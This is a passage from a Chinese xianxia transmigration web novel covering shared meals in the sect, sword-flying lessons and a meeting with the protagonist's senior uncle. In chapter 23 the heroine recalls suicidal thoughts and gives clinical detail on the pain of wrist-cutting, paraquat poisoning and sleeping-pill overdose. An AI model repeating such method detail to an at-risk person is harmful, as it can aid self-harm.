关云铮默默心虚,又下床快速把自己收拾好,打算趁还早,去食堂炒几个菜。 都怪心魔引窥探她,害她又想起现代那会儿吃过的菜了,馋得吵架的时候都在咽口水,可恶。 时间还早,独属于苍生道的食堂静悄悄的,连厨子都不在。 来了这几天还没去过归墟里的其他地方,不会真的只有他们苍生道有饭堂吧?那她师父可真够馋的。 关云铮一边哼歌一边找菜切菜,发现还有块猪肉,在原地陷入纠结。拿的话,没冻过的猪肉很不好切,全靠来回拉刀才能切下来,不拿的话……她又有点馋。 前面还蛐蛐师父,现在看来馋是一脉相传的。 关云铮正纠结,一个很哀怨的声音在她身后响起:“拿了我的刀还要拿我的猪肉……” 她吓得差点把菜刀丢出去。 一个身量不算很高,身材也并不魁梧的男人站在她身后,表情和声音一样哀怨:“用我的厨房做菜也就算了,我居然还没尝过你做的菜。” 好吧原来是第三个馋鬼。看样子应该就是她家师父找来的厨子了,只不过看着好像不太符合她对厨子的刻板印象。 关云铮把刀递回去,试探着问:“今天让你尝尝,你帮我把肉切了?” 对面的人居然没什么意见,接过刀就站到案板前准备切菜了。?这么温顺的吗? “你是老章收的小徒弟?”那人一边游刃有余地切肉一边问道。 关云铮点点头。 他抬起头看关云铮一眼:“我叫李演,演化的演,随你怎么喊。” 关云铮继续点头:“李厨。” 李演切肉的手一顿:“也行。”他继续切肉,“你上次都做了些什么菜?” “就菜地里那些菜,没什么花样。”关云铮老实说。 李演切肉的动作顿时带上了恨意,说话的语气也变得咬牙切齿的:“那老章还说你做得比我好吃?” 关云铮默默往旁边退了点,不敢招惹正拿着刀的人。 “他夸你茄子做得好,说我茄子做得难吃?”李演看上去好像要气死了。 关云铮小心翼翼地探头看了眼:“那要不,我今天做道茄子?” 李演一秒喜笑颜开:“好嘞。”? 骗吃骗喝是吧! **** 最后做了一道茄子,一道肉末蒸蛋,还有一堆菜地里的菜,关云铮抓到什么就顺手炒了一盘。 虽然她最开始翻到那块猪肉的时候还没想好要拿来做什么,但是等到后来,李演已经把肉剁成肉末了……除了肉末蒸蛋她暂时也想不出什么更好的选择,毕竟总不能现场揉面包饺子吧。 菜刚端上桌的时候李演就想夹一筷子茄子,被不知道哪儿来的东西打了一下,“哎哟”了一声。 关云铮回头,发现章存舒带着师兄师姐们过来了,右手刚收回去:“人都没齐你就想吃?你有那么馋吗?” 章存舒埋汰了李演一句,带着自己的徒弟们在桌边坐下了。 关云铮心说谁也别说谁吧,俩馋鬼。 江却还是第一次见到关云铮做的菜,第一反应是看向连映。连映凑到他耳边,小声说了几句悄悄话。 虽然听不清,但是嗑到了。 关云铮很满意,坐在餐桌边等开饭。 章存舒先给她夹了一筷子菜:“下午是去上课还是再休息一阵?” 关云铮感觉自己蛋蒸得不错,又嫩又滑:“上课吧,之前蒲先生就说希望我能到……” 怎么说着说着这么心虚呢…… 章存舒点头,没再问,一口菜一口饭地吃着。 李演尝了口茄子,服气了:“确实是你做的好吃。” 关云铮在一群长辈和前辈面前谦虚道:“是这个做法容易做得好吃,您做也好吃。” 李演没揭穿她无伤大雅的扮乖面具,笑眯眯地继续吃饭了。 关云铮吃着吃着想到些什么,凑到闻越耳边:“师兄,你的蝴蝶为什么能找到我?” 闻越夹了块蒸蛋:“昨日正午我和师姐就觉得你该回了,给我大哥传了信,他说你已经走了。”他吃了口蒸蛋,满意地眯眼,“他还说,把我和他固定联络的另一只灵蝶放进给你的包袱里了,我就让其他的蝴蝶顺着那只去找了。” 关云铮点点头,心说大哥就是靠谱,点完头又想起什么,差点把筷子咬了:“我包袱呢?灵蝶不会闷死了吧?” 闻越觉得好笑:“你自己都差点没命,还关心蝴蝶?” 关云铮戳着碗里的米饭:“那是因为我不知道蝴蝶在包袱里,万一真的闷死了不就是我的错了吗。” 连映都被他们这边说小话的动静吸引了,凑过来听了一耳朵后失笑:“这种事有什么对错,非要说的话……” 闻越自然无比地接话:“那也是我大哥的错,他把蝴蝶放进去却没跟你说。”? 你真是好弟弟。 连映旁边的江却听不下去了:“他们跟你说玩笑话,小越的蝴蝶是灵体,不会死的。”。 大师兄或成你派唯一老实人。 “既然能锁定我包袱里灵蝶的位置,为什么还送了那么多蝴蝶过来?”印象中那可是好绚烂的一大群蓝色蝴蝶呢。 闻越沉默了一下,还是实话实说了:“灵蝶对野生蝴蝶的吸引力比较强。” 喔,合着本来就一只,剩下的都是被吸引后跟着过来的。 不过这有什么好沉默的?关云铮狐疑地看向闻越。 闻越难得露出欲言又止的表情:“我大哥说下次还是换传音符比较好,这种招蜂引蝶的事不太适合他。” 关云铮点点头:“言下之意是比较适合你?” 闻越:“。” 一生之中总会有那么几次脑子追不上嘴的经历,关云铮已经麻了。 连映再次被逗笑。 也不知道闻越是缓过来了想岔开话题,还是根本没放在心上,很快又对关云铮说:“你想不想知道当时大师兄是怎么救你的?” 关云铮配合道:“怎么救的?” “他刚一出关就听见我和师姐说你还没回来,直接召出破钧就御剑下山了。”闻越发现茄子快被李演和章存舒吃完了,赶紧夹了一筷子。 关云铮点头:“那大师兄怎么知道我名字的?” 毕竟师姐和闻越应该是叫她云崽的? 连映在一旁补充细节:“我给阿却写过信,他知道。” 闭关居然能收信? 关云铮好奇地看向江却。 江却给连映夹了一筷子菜,对关云铮说:“闭关时想不通就会看信,所以知道。” 又嗑到了,嘻嘻。 闻越似乎对师兄师姐的相处细节习以为常,继续刚才的话茬说道:“然后他跟着蝴蝶刚找到你,看出那几个邪修是鬼灯楼的人,也看见你被邪修绑着,所以直接把他们杀了。” 闻越说到这异常兴奋:“欻欻几下就把他们都干掉了!” 关云铮点点头,虽然当时既看不清也听不清,但动作快是真的。 不过——她皱眉:“鬼灯楼?” 吃得一本满足的李演接话:“这几年比较猖狂的一个邪修门派,跟鬼、魂打交道比较多,这段时间几个仙门的异常估计也跟他们有关。” 这样说来,殷含绮就是鬼灯楼的吧? 闻越也想起这号人,扭头对关云铮说:“云崽,上次你遇到的那个,就是鬼灯楼的。” 连映不明所以,低头看向关云铮:“上次?” 关云铮感觉闻越说完这句后所有人的目光都汇聚到自己身上了,顿时有种头皮发紧的感觉,犹豫片刻还是说了实话:“上次师兄和我一起下山的时候,遇到过一个……”她思考了一下要不要继续沿用“姐姐”这个称呼,最后还是决定顺从本心,“遇到过一个姐姐。” 章存舒表情没什么变化,只又问了一句:“这次呢?也遇到了?” 关云铮感觉她师父有点太心如明镜了,老实回答:“遇到了,她还帮了我。” 章存舒“嗯”了声,没接话,表情也看不出喜怒。 关云铮只好继续说:“上次下山的时候,我无端注意到一个摊位上的香炉,这一次回来耽搁了就是因为这件事。” 虽然这件事她本来也该坦白的,但在餐桌上聊这种事总感觉会搞得大家不欢而散……问就是21世纪在家里餐桌上吵架吵怕了。 “辞别师兄的大哥后,我想起这件事打算去查探,路上遇见了她,她看我一个人,就说陪我一起。”关云铮小心翼翼地措着辞。 “后面事情解决了,回来路上听见有人呼救,我就想去救人,人是救走了,就是,额,自己搭进去了。” 做的时候只觉得自己有点莽撞不计后果,怎么在一群大人的眼皮子底下说出来不仅鲁莽还有点憨呢? 关云铮懊恼地低头。 餐桌上很安静,李演已经悄悄起身走了,很有眼色地留这群苍生道自己处理师门内部的问题。 章存舒的回应是揉了把关云铮的脑袋。 “邪修和正派的区别在于修炼方式的不同,殷含绮的行事风格闻越同我说起过,除开她邪修的师门背景之外,此人并无太多出格之处,你不用担心我们会因为你和邪修来往而失望或生气。” “你年纪还小,道理要自己悟得才能记一辈子,我无意多言。” 章存舒看她脑袋都快埋碗里了,失笑:“交朋友不是每个人的自由吗?紧张什么?” 关云铮抱着碗慢慢抬头。 “再说了,名门正派里也不都是好人,仙盟那群人就烦得要命。”章存舒不甚在乎地评价道,“嘴上说仁义道德,看规矩戒律比人还重,这就名门正派了?没准还是邪修自在些。” 连映没忍住笑,轻咳一声:“师父,谨言慎行。” 章存舒摆手,起身去给关云铮盛了一碗甜粥:“心思太重容易睡不着,随心而为就好,再不济有师父呢。” 关云铮被几句话说得有点想哭,感觉自己多年未发作的泪失禁有卷土重来之势,赶紧把嘴埋甜粥里:“好。”—— 作者有话说:欻欻:chuachua(有点搞笑怎么回事) 鬼灯楼:鬼灯如漆点松花——李贺 感谢ww 第23章 说实话, 章存舒这几句话本质上没有那么催人泪下——关云铮单方面把这归咎于看看多了——她也不是那种“我本可以忍受黑暗,假如我没有见过光明”的类型,平心而论, 她没惨到那种地步。 虽然痛苦是不能拿来比较的, 但原生家庭有问题的人太多了,她既不是“扶弟魔”家庭, 也没有无法忍受的言语暴力, 刺伤她的始终是她父母的态度和语气。 长大后她越发频繁地意识到家里的问题,在家待的时间越久越沉默。 看电视剧的时候,无辜的女孩被人侵犯并且注射毒品,她妈妈的第一句话是“你看她衣服也不好好穿,露个肩在那”,第二句话是“舞厅本来也不是正经人去的地方”。 要是她受了伤, 她妈妈总是先来一句责怪的“我都跟你说过了要小心,你怎么就是不听”, 之后才会关心她疼不疼。 有一段时间她宽慰自己,是妈妈的时代不一样, 那个时候的大人们可能都是这样想、这样表达的, 街头巷尾不还总有大妈聚在一起谈论别人的家长里短吗。 但时间久了,她发现这样的宽慰逐渐失去了本就微弱的效用。 因为她的妈妈拒绝改变,哪怕她被家庭里的琐事折磨了几十年, 变得和她总挂在嘴边的二十多岁截然不同。 她总是一边抱怨, 一边在关云铮提出解决办法时说“算了算了”“反正这些年都是这样过来的”“都这么大把年纪了”。 关云铮有时候有些刻薄地想:那你又为什么要抱怨呢? 这样的想法冒出来之后,关云铮会有些悲哀地发现,她好像痛恨的是同样深受家庭困扰,却始终无法狠下心肠的自己。 正如她对她爸爸的态度一样。 因为她在不可避免的变得与他越来越相像,所以日复一日的, 她从未变过的坏脾气爸爸变得越发面目可憎。 因此在刚穿越过来的那一瞬间,意识到过去的自己或许猝死了的那一瞬间,前所未有的轻松包裹了她。 她是个很软弱的人,痛觉神经也很敏感,脑子里每次冒出自杀的想法时,因为太了解所有自杀方式的真正死因,对于痛的恐惧就会瞬间把自杀的想法扼杀。 割腕的最终目标是桡动脉,不同于颈动脉,它的搏动无法在体表扪及,因此要抵达这一步,需要把手腕割得面目全非。 她曾经在网上看到过割腕自杀的人被抢救的场景,可能是那个人用的刀不够锋利,也可能是ta对自己实在残忍,她看到的完全是一块烂肉。 皮肤消失了,取而代之的是已经凝固的、外翻的血肉,深红色,与做过放血处理的大体老师截然不同。 鲜活,刺痛。 百草枯则更像是古代电视剧里那些见血封喉的毒药,从进入口腔开始,一路腐蚀消化道,带来喉咙、食道、胃的灼烧感,继而迅速导致肝肾肺的衰竭。 大剂量的安眠药则会催发人想要呕吐的生理本能,但催眠的药效仍在发挥作用,所以呕吐这一举动也无法顺利进行,最终很可能会被呕吐物噎死。 …… 关云铮猛地回神,发现自己又在不受控制地思考自杀的办法,刚想做点什么分散自己的注意力,就听见连映说:“云崽喝甜粥,你喝什么?” 关云铮不明所以地抬头,发现章存舒正打算给自己也盛一碗甜粥,后知后觉地意识到刚才那句的意思不是“你要吃什么”,而是“你喝个什么劲”。 噗。 所以上次看到师姐不在时师父偷吃拔丝地瓜,果然不是错觉。 关云铮鬼鬼祟祟地凑到闻越旁边:“师姐为什么不让师父吃甜的,师父牙不好吗?” 师姐也凑过来,装作说悄悄话的样子,实则声音并没有低多少:“师父偶尔会牙疼。” 章存舒也不去盛粥了,站桌边佯装生气:“一起说我坏话是吧?” 关云铮秒速把脸埋回碗里。 **** 还没到武器课场地就看见了楚悯,关云铮一路喊着“小悯小悯”小跑过去,到人面前时也还是很兴奋:“跟你说个好消息!” 楚悯站在原地等她跑过来,笑眯眯的:“是什么呀?” 关云铮叉腰:“我终于引气入体啦!” 楚悯眼睛亮亮的,看上去比关云铮还要高兴。她刚想开口,身后传来某个熟悉的、欠打的声音。 “引气入体这种事也值得这么高兴?等你筑基了不会要走火入魔吧?” 关云铮罔若未闻,对楚悯说:“归墟原来竟养狗了吗,怎么方才听到犬吠了?” 她一边吐槽一边在心里想,这个世界到底是不是某个人写的啊,为什么这种找打炮灰的情节标准得离谱,严重加深了她对修仙文的刻板印象。 赵乾达可能是没料到关云铮攻击性这么强,语塞了一会儿才继续说:“苍生道本也不是主流,能修到金丹已是难得,引气入体倒也值得高兴。” 关云铮转过身,面对楚悯时的笑容已经彻底消失:“我给你脸了是吧?” 其实她还没仔细看过原身的长相,不知道原身的脸做出现在的表情威力如何。但过去在现代的时候,她的冷脸能让校园里推销的人都欲言又止地目送她空手走开。 赵乾达没想到她会这么直接,关云铮转过来时,他脸上的表情甚至是那种战备状态似的警惕,好像在提防她又会像上次一样,把他怼得回不了嘴。 实际上关云铮的耐心很有限,容忍一个人的次数也很有限,以前大学班里虽然也有几个极品,但至少不会像赵乾达一样,每天都会来她面前晃荡。 这种每天都能见到的人骂两次就够了,再骂都怕把他骂爽了。 赵乾达还想说点什么,关云铮已经拉过楚悯走开,与他错身而过时说道:“你接下来最好每天祈祷我修不到金丹期,否则……” 关云铮睨了他一眼,没把话说完,和楚悯一起走了。 两人到角落后关云铮还冷着脸,楚悯摸摸她的肩膀:“不气不气。” 关云铮重重地呼出一口气,恢复平时的语气,可怜巴巴地挨着楚悯:“好晦气哦。” 楚悯被她逗笑,又摸了摸她脑袋:“这次下山遇到什么了吗?” 关云铮点点头:“这次下山遇到了好多事,一时半会儿都说不完。”话音刚落,蒲飞鸢到了,于是她止住话茬,“下……散学后跟你说。” **** 关云铮一直觉得归墟设立的教学模式有点问题,像武器和术法这样的实际操作课,总是只教几遍基本操作就交给弟子们自行领悟,领悟不出来再去找先生们演示几遍,回来后接着领悟。 这得多聪明的孩子才能每次都能学会啊,关云铮有点绝望地想。 “小悯,你之前学过御剑吗?”关云铮凑近正认真看第三遍演示的楚悯。 楚悯看着蒲飞鸢踏上木剑后才转过来小声说:“在师门的时候没学过,我之前身体太差了,兄长不让我学,怕我摔下来。” 关云铮认同地点点头:“你哥哥做得对。” 楚悯失笑:“不学体术和御剑岂不是身体更差吗?” 关云铮继续点头,表情很严肃:“你说的也对。” “说什么悄悄话呢?”蒲飞鸢的声音响起。 关云铮吓了一跳,明明刚才蒲飞鸢还在她前面演示,现在声音怎么就到她身后去了?修仙以后遇到的老师都有点邪门,普遍比她初中班主任还要背后灵,每次做点什么坏事就立马被抓包,可恶。 蒲飞鸢从剑上跳下来,把剑随手放到旁边:“昨日回来的?” 关云铮有点心虚地往楚悯旁边站了站,点点头:“昨日回来的。” 蒲飞鸢似乎并不知道她在山下的经历,也不知道她下山是为了什么,但是并没有追问,而是提起刚才的话题:“担心学不会?” 关云铮和楚悯对视一眼,实话实说地问出自己的疑惑:“是仙盟要求的授课方式吗?还是归墟安排的呀?” 蒲飞鸢倒没隐瞒:“一半一半,仙盟在时间上要求比较紧,授课方式是归墟授意的。”她看向关云铮,“怎么,觉得不合适?” 关云铮心虚地支支吾吾。 蒲飞鸢笑起来:“你没去过归墟其他地方吧?归墟弟子是我见过这么多门派里最少的,你觉得步雁山定下这样的授课方式是为什么?” 这……既是超纲题又是得罪人的情商题? 蒲飞鸢没刁难她,转而看向楚悯:“楚悯应该明白?” 楚悯神色平静:“仙门式微,修道之路看似一片光明。” 实际上…… 她没有继续说,蒲飞鸢也没再问,又看向一边的关云铮:“你见过任嵩华没有?” 这么突然地转话题? 关云铮点头:“见过,但任师姐没跟我说过话。” 蒲飞鸢并不意外,语气很寻常地说:“她是这几年为数不多的无情道。” 全修仙范围吗?关云铮暗自困惑。 “因为无情道修到后面,能活下来的,基本都得殉道。”蒲飞鸢神情很平静,“没人愿意刚踏上修仙这条路就被奠定死的结局,所以没人愿意修无情道。” 关云铮已经惊呆了。 她本来以为修无情道的人少是因为难,也没因为21世纪难得要死的专业也有人跳进去怀疑过,结果居然是因为无情道几乎必死吗? 她那么一个帅气的任师姐,难道也要死吗? 蒲飞鸢看她陷入沉思,拍拍她肩膀:“练着吧,想问什么就来找我。” **** 御剑本质上是体术和御物术的结合,光会御物术把剑升起来还不够,还得想办法到剑上去。 关云铮看着木剑陷入呆滞。 不是,这不轻功吗?这哪门子御剑? 她以为的御剑是剑能飞到她脚下把她带起来呢! 楚悯在一边轻轻的:“木剑这么厚,怎么飞到你脚下呢。”。 说得对。 “那我能不能踩剑上之后再腾空?”关云铮不死心地问。 楚悯倒是没否定她的想法:“大概可以?但蒲先生似乎并不推崇这种办法。” 关云铮死心了。 这就像解题步骤不被老师认可一样,写出来也得丢分。 但是体积法做立体几何真的很简单啊……关云铮默默在心里为自己辩解。 总之还是认命地学蒲飞鸢演示的方法了。 跟努力上剑一比,让剑悬停显得无比简单。更何况她现在已经成功引气入体了,不用再问不熄鼎借灵气了。 关云铮凝神,并拢两指,汇聚灵气,成功让木剑漂浮起来,悬停在与她小腿平齐的高度。 唔,好像高了点,待会儿跳不上去就尴尬了。 关云铮试探着引导木剑向下。 可能是刚引气入体的缘故,她自己的灵力没有问不熄鼎借来的好用,感觉不太稳定,木剑下落的过程中晃晃悠悠的,明显没有刚才浮起来的时候稳。 这能上人吗。 关云铮再次陷入对自己的怀疑之中。 楚悯那边进行得也不是很顺利,具体表现为上剑后完全不敢动。 关云铮和楚悯就这样一个凝固在剑旁边,一个凝固在剑上面。 一边在心里自我催眠“这么点高度摔不出什么问题”,一边碎碎念着“你可以的你可以的”,关云铮一脸壮士赴死般的表情,跳上木剑。 木剑猛地沉了一下,本来也就离地只有十几公分,这一下下沉险些重新触碰地面,但还是挺住了,悬停在了离地几公分的位置。 啧,感觉木剑在内涵她胖。 关云铮一边站稳一边想:还好没用摇羽练习御剑,不然何止内涵,估计能把她掀下去。 这下在剑上凝固的人变成两个了。 刚才跳上来的时候满脑子想的这么点高度摔不出什么问题,现在站到上面了脑子里只剩下满屏的弹幕:“这个高度虽然没问题,但是我飞起来摔下来应该会很痛吧”“当然会啊你那个时候有加速度摔不死你”“要是剑突然停了你还会被惯性甩出去”…… 关云铮有时候真的很好奇,明明数学和物理那么差,为什么无助的时候想到的都是被数学和物理羞辱的过去。 她深吸一口气,停止自己漫无边际的思绪,像蒲飞鸢演示的那样念起剑诀。 话说剑诀是不是术法课内容?还是褚先生教的理论课内容? 她本性难改,注意力不集中的毛病在这个时候也根深蒂固,还没等她思考出剑诀到底该归属于哪门课,短暂的几秒里,剑诀发挥作用,脚下木剑陡然拔高一截,然后以一种摔下来必然受伤的速度冲了出去—— 作者有话说:感谢ww 第24章 被剑载着狂飙的时候关云铮连自己的死法都想好了。 不知道这边的动静有没有引起蒲飞鸢的注意, 她只听见自己飞出去的一瞬间楚悯紧张的一声“云崽”,接着耳边就只剩下风声了。 几年学医生涯让她对待人生的态度逐渐乐观,具体表现为现在大难临头的时刻, 她却在脑子里思考Arresto Momentum这种减缓下落速度的咒语, 在她这样急速飞行的时候能不能管用。 还没等她发挥“人生乱套我睡觉”的精神,一股力道拽住了脚下的木剑, 她反应不及, 理所当然地被惯性甩飞出去—— 在即将脸着地的一瞬间又被一阵风托了一把,双脚在地上蹬了几下,站稳了。 是谁? 关云铮站定脚步环视,发现自己已经飞到了看着很眼生的地方。 没想到蒲飞鸢今天刚问她有没有去过归墟其他地方,很快就以这种方式到了,甚至还落在了疑似内院的地方, 周围有个和苍生道院子十分相似的连廊。 要不还是悄悄溜走吧,就是不知道该往哪儿走才能回去…… “刚学会引气入体?”一个声音在她背后响起。 关云铮转身, 对上视线后愣住了。 这好像是……她在“月儿”的刀中记忆里,见过的那位, 她师父和“月儿”共同的师兄?年纪比那时见到的老了一些, 蓄起了胡子,五官的变化似乎不大。再加上当时他总是只来看一眼“月儿”就走,行为诡异, 实在很难不对他印象深刻。 对面的人看她半晌不回话, 皱眉道:“你是哪个门派的弟子?” 关云铮回神,低头行礼:“苍生道弟子。” 那人没立即回应,关云铮行完礼抬头时,才听见他冷哼一声:“苍生道。”? 苍生道招你惹你了? 我师父不还是你师弟吗?你俩有什么龃龉可不要波及我。 关云铮正在心里蛐蛐着,发现这人似乎不打算再和她说话, 转身要走。 她只好追上去两步:“先生,我的剑……” 你要走也把剑还我啊。 谁料一靠近,那人忽然停住脚步,面色似乎变得更不好看了:“你跟我过来。”?能不能不过去。 关云铮心里嘀咕着,硬着头皮跟上了。 **** 练武场上,楚悯从木剑上跳下来,急着迈步,险些把自己绊一跤,刚要摔倒,旁边伸过来一只手把她架住了:“别急。” 蒲飞鸢看了眼关云铮离开的方向,安抚楚悯:“都在归墟,不会出什么事。” 楚悯收好木剑,皱着眉头:“会摔伤。” 蒲飞鸢挑眉:“不见得,你再看看?” 楚悯刚听到这句话还有点没反应过来,过了会儿才意识到蒲飞鸢话里的意思,往那个方向犹疑不定地看了一会儿后,又转回头不太确定地看向她。 蒲飞鸢老神在在的:“练剑吧,我接着你。” 楚悯催动灵气的动作一顿。 “还是怕?”蒲飞鸢失笑,“让剑停低点试试?” 楚悯操控着剑停得低了些,这次跟关云铮方才悬停的高度差不多,跳上剑时也很稳,但到了念剑诀让剑行动起来的时候,又露出十分明显的犹豫神情。 蒲飞鸢抱臂在旁边看着,神色有些意外。 “以前从剑上摔下来过?”她看楚悯一动不敢动的样子,还是开口问道。 楚悯脸绷得很紧,坦诚道:“未曾,只是害怕。” 蒲飞鸢一愣,随即笑出声来:“你先试试念剑诀,我在这陪着你。” 楚悯轻吐一口气,在剑上试着放松自己绷直的双腿,低声念起剑诀。 木剑在她脚下微微颤动,随即响应剑诀,以一种相对和缓的速度飞出去了一些。 “这不是学得挺好的?”蒲飞鸢一边跟着楚悯飞的轨迹走,一边点评道。 楚悯似乎正打算回答些什么,视线还没移开,脚下的剑已经剧烈地晃动了一下,足以把上面站着的人狠狠地甩下来。 楚悯来不及发出惊呼,底下站着的蒲飞鸢已经变了脸色,在楚悯摔下来的一瞬间上前一步,把人接进怀里。 蒲飞鸢把楚悯放下,让她在原地站稳,随即看向正在各自练剑的其他学生,眉头皱得很紧。 好在方才的速度不快,楚悯还没来得及腿软,因此冷静问道:“是其他人练剑失误了吧?” 蒲飞鸢收回目光,面色已经变成直白的不虞:“最好是失误。”她低头看向楚悯,“是不是有个混小子总欺负你?” 楚悯倒没想到赵乾达身上去,平时这厮虽然经常上前来挑衅,但是对她并没有造成什么实际的损害。 她不太爱说话,常常是赵乾达噼里啪啦说了好些话,她才慢吞吞地问上一句“今日的课业完成了吗,先生说你符咒学得很差”这类的话。可能是她说的话每次都太过会心一击,所以赵乾达始终对于挑衅她这件事乐此不疲,像是执着于要在言语上找回几分面子一般。 但也就停留在言语挑衅的程度了,借他几分胆子估计都不敢真的对她动手。 楚悯没往那边看,神色平静地捡起掉落在地的木剑,顺带回答蒲飞鸢方才的问题:“人总不至于落到和狗计较的地步。” 蒲飞鸢一愣,被逗得哈哈大笑起来。 楚悯对着她弯弯眼睛,继续去练剑了。 **** 关云铮感觉师父的师兄脾气有点太坏了,跟掌门简直是两个极端,跟师妹“月儿”差距更是一个地下一个天上。 可能一个师门出这一个脾气坏的就够了吧,她暗自腹诽。 “你受伤了?”走在前面的坏脾气大叔,不是,坏脾气师伯冷不丁来了句。 关云铮下意识想回“没受伤”,转念一想之前手腕上好像确实有点破皮,于是又临时改口道:“一点皮外伤。” 那人又冷哼一声:“用的什么药?” 关云铮心说我一睁眼痕迹都没了,我上哪儿知道去。 他终于走到了地方,在一鼎炉子旁边坐下:“你师父没告诉你,是我的药?” 关云铮站旁边,不明白他到底想表达什么,面上还是客客气气的:“师父没说。” 那人追问:“那你也不知道我是谁了?” 关云铮思考了一会儿要不要说实话,最终还是觉得不做隐瞒为好,老实道:“弟子……见过您,但不知道您的姓名。” 这话说得就很奇怪了,坐着的人皱眉:“你在何处见过我?” 反正师父和掌门应该都知道她接触过那把刀里的记忆了,这位也是师父师门的,告诉他应该也没关系? 关云铮这样想着,坦白:“在剑冢,‘月儿’留下的刀中。” 面前的人猛地起身,还差点带翻了旁边的炉子,里面的火星都溅出几颗燎上他衣摆。 关云铮默默后退一步。 他顾不上低头,随手掸了两下衣摆把火星拍掉,开口时语气很急切:“你如何能进剑冢?还能进刀中?” 关云铮其实也不明白,毕竟师父说过,能向不熄鼎借灵气的人很多,但能进剑冢的寥寥无几,她到现在也没搞清楚这两点之间有什么必然联系,总不能是负相关吧? “大概是我向不熄鼎借灵气时,与前辈建立了联系?”她试探着说。 “借灵气的人多了,你怎么就能建立联系?”对面的人明显没那么好糊弄,抓住了她话里的逻辑漏洞追问道。 那你要这么问,我也没办法。 关云铮放弃挣扎,反正也解释不通。 那人似乎是打量了她一会儿,随即一把抓过她衣领,召出不知悬挂在哪里的配剑,提溜着她,踩上剑就走。 不是??? 谁来管管这个疯子??? **** 来去峰上。 步雁山正坐在火炉边煮茶,门敞着,刚看见任嵩华练完剑经过,打算开口时却忽然听见门外传来……大呼小叫的声音? 本打算走开的任嵩华也停下了脚步,往身后的方向看。 步雁山把煮好的茶倒进茶具,端着茶具走出门,招呼任嵩华:“来喝茶。” 虽说每次煮了茶都会招呼任嵩华来喝,但多数时候都得不到回应,步雁山也只是习惯性地提出邀请,做好了会被客气道谢而后回绝的准备。 就见任嵩华站在原地似乎是思索了一阵,点了点头:“多谢掌门。”然后上前一步,把步雁山手里的茶盏接过去了。 步雁山挑眉,接着把目光看向刚才声音的来源。 不看不知道,一看确实吓一跳,几乎从不上来去峰的人居然就在眼前:“大师兄?” 被喊的人回过头来,居然罕见地有点狼狈:“雁山。” 任嵩华也走上前:“先生。” 两人一走近,才发现大呼小叫声的来源—— 关云铮在他背后扑腾着,明明都快把自己折腾累了,还在时不时挣扎,嘴里还骂骂咧咧的。 任嵩华不着痕迹地挑了一下眉。 关云铮都快骂不动了:“你是我师父的师兄没错,但你也不能一声招呼也不打就把我提起来吧?我都快被你勒死了你还搁这飞?你有心吗?” 骂着骂着忽然感觉周围格外安静的关云铮一顿。 关云铮一边回想自己骂得脏不脏,一边探出脑袋,正想悄悄观察一下,就和步雁山颇觉有趣的视线撞了个正着。 哈哈,好巧。 她拍拍衣服从便宜师伯背后站起来,恭恭敬敬地对步雁山行礼:“掌门。”行完礼刚要起身,又看见步雁山身后的任嵩华,欲哭无泪的同时只好接着又跟她问好,“任师姐。” 步雁山笑眯眯地给她介绍:“这位是你师伯。” 便宜师伯拍了拍被关云铮扯得乱七八糟的衣摆:“凌风起。” 关云铮“哦”一声,不情不愿地:“师伯。” 显而易见的区别对待,凌风起瞪眼,刚想说点什么,步雁山和事佬似的搭着关云铮肩膀把人带走了:“正好,我煮了茶,云崽来和你任师姐一起品品。” 煮茶? 关云铮想起一些不太美妙的课外知识点,求生欲很强地追问:“掌门,您煮茶的时候没有放葱姜吧?” 步雁山低头看她,了然地弯了弯眼睛:“倒是没放葱姜,只额外放了些橘皮和盐。” 那没事了,警报解除。 任嵩华手指搭在茶盏外沿,剑收在腰间,始终没接话,只是跟着步雁山二人又走回了煮茶的火炉边。 三人都快走进屋内了,身后还没有动静,步雁山回头看向站在原地的人:“大师兄?” 凌风起面色变换几番,还是在步雁山的眼神里偃旗息鼓,跟上三人的步伐了。 坐下之前关云铮还在感慨,要是天气冷的话,煮茶倒是挺合适的,只是归墟常年四季如春估计不太满足条件。 坐下后她才后知后觉,看向重新把火点起来的步雁山:“掌门,这里似乎要比下面冷一些?” 步雁山不知从哪儿变出一排茶盏,推到她面前,示意她挑一个喜欢的:“来去峰上没有大阵覆盖,故而冷一些。” 关云铮垂眼挑茶盏,感觉每个都好看,每个都想要,挑得人快要眼花缭乱了:“掌门和任师姐平时不冷吗?” 步雁山看她还在认真挑选,没打断她,给坐在一边的凌风起倒了一盏,又看向任嵩华。任嵩华手里的茶盏已经空了,对上步雁山的目光后,她短促地摇了摇头。 步雁山不意外地收回视线,回答关云铮的问题:“不冷,衣服里缝了符咒。” 关云铮终于挑出最喜欢的一个茶盏,开心地拿起来递给步雁山:“也对,差点忘了衣服也可以保暖了。” 几人交流完,步雁山看向一言不发的凌风起:“大师兄今日来此是为何事?” 三人的目光骤然一同看过来,凌风起拿着茶盏,起先还是闭口不言,被步雁山平静地注视了一会儿后才道明来意:“她进过剑冢,还进了霰照之内,此事你可知?” 霰照?“月儿”的刀吗? 步雁山颔首:“我知。” 凌风起皱眉:“那你们……”像是意识到自己语气太过急切,他停顿片刻重新开口,“未曾探查究竟为何?” 一旁的火炉发出木柴燃烧噼啪作响的声音,关云铮好奇地凑过去看,被任嵩华伸手挡了一下:“当心。” 关云铮才发现有微不可查的细小火星在往外蹦,不好意思地对着任嵩华笑笑:“多谢任师姐。” 步雁山看向关云铮:“没准只是因为,师姐格外喜欢云崽吧。” 凌风起眉头没松,看向正疑惑看过来的关云铮,似乎在探究她有什么值得“月儿”青睐的长处。 关云铮不打算搭理凌风起的目光,端着茶盏问步雁山:“总是称呼‘月儿’似乎不太尊师重道。” 凌风起“哼”了一声:“你还知道尊师重道?” 反正也被掌门和任师姐撞见她骂人了,关云铮破罐子破摔,没打算忍着,当下就回了句:“尊师重道也得分人。” 凌风起险些被气得胡子也歪了:“你!” 关云铮也学他“哼”一声,低头喝自己的茶。 步雁山坐在两人中间,被这番幼稚的斗嘴逗得直想笑,片刻后才收了笑意:“师姐叫戚寻月,悲戚的戚,寻觅的寻。”—— 作者有话说:感谢ww 第25章 关云铮捧着茶盏点头:“师叔的名字和她的样子很像。” 就像入夜时分, 月亮初升,藏在还没完全隐去的云层后,露了半遮半掩的一个轮廓, 散发着柔和的光晕。尽管人们深知月亮本身不能发光, 所有的光亮只是对阳光的反射,但也无法阻碍这几千年来人们对月光的钟情。 一个朦胧的, 像云雾一样的名字。 火炉再次把架在上面的茶煮沸, 步雁山随手把火焰拢进掌心熄灭,把茶壶端到几人面前的茶案上,神情很温和:“师姐知道你是这样的态度,一定很高兴。” 关云铮把茶盏拢在手心里,茶的温度煨得人很舒服:“这样的态度?” 